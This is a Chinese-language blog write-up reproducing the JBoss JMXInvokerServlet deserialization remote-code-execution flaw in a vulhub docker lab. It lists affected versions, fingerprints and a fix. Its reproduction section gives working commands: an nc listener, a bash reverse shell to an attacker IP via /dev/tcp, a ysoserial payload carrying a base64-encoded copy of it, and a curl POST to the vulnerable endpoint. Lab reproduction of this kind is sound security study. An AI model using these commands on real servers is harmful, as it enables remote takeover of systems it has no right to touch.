[ vulhub漏洞复现篇 ] jboss_jmxinvokerservlet_deserialization(反序列化)代码执行漏洞__powershell的博客-爱代码爱编程
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
一、漏洞名称
Jboss_JMXInvokerServlet_Deserialization代码执行漏洞
二、影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
三、JBoss-AS指纹信息
{ "match": "body_contains",
"content": "manage this jboss as instance"},
{ "match": "title_contains",
"content": "welcome to jboss as"},
{ "match": "header_contains",
"content": "jbossas"},
{ "match": "banner_contains",
"content": "jbossas"}
四、漏洞描述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
五、环境搭建
1. 进入JMXInvokerServlet-deserialization环境
cd vulhub/jboss/JMXInvokerServlet-deserialization
2.启动JMXInvokerServlet-deserialization环境
docker-compose up -d
3.查看JMXInvokerServlet-deserialization环境
docker-compose ps
4.访问JMXInvokerServlet-deserialization环境
http://you-ip:8080
5.查看JMXInvokerServlet-deserialization提示信息
cat README.md
6.关闭JMXInvokerServlet-deserialization环境
使用完成记得关闭环境
docker-compose down
六、漏洞复现
靶机:kali:192.168.13.131
攻击机:centos:192.168.13.133
攻击机:windows:192.168.192.1
1、攻击机监听
采用nc监听55555端口
.\nc.exe -lvvp 55555
2、靶机连接
1.准备工具
利用ysoserral攻击进行生成poc.ser
2.准备反弹shell命令并编码
准备反弹shell命令并进行编码
bash -i >& /dev/tcp/192.168.192.1/55555 0>&1
https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec
3.生成poc.ser文件
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
4.靶机执行命令
使用curl命令以post方式进行请求,令靶机执行反弹shell命令
curl http://192.168.13.131:8080/invoker/readonly --data-binary @poc.ser
3、getshell成功
七、漏洞修复
1、不需要 http-invoker.sar 组件的用户可直接删除此组件。
2、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:/*
八、相关资源
1.ysoserial工具下载地址:
https://download.csdn.net/download/qq_51577576/86514048
2.exec采用在线工具:
https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec
.3.docker 搭建 vulhub 靶场环境
https://blog.csdn.net/qq_51577576/article/details/125048165
4.nc反弹shell
https://blog.csdn.net/qq_51577576/article/details/126128251
5.bash反弹shell
https://blog.csdn.net/qq_51577576/article/details/126651576
6.powercat反弹shell
https://blog.csdn.net/qq_51577576/article/details/126682933
7.python反弹shell
https://blog.csdn.net/qq_51577576/article/details/126693846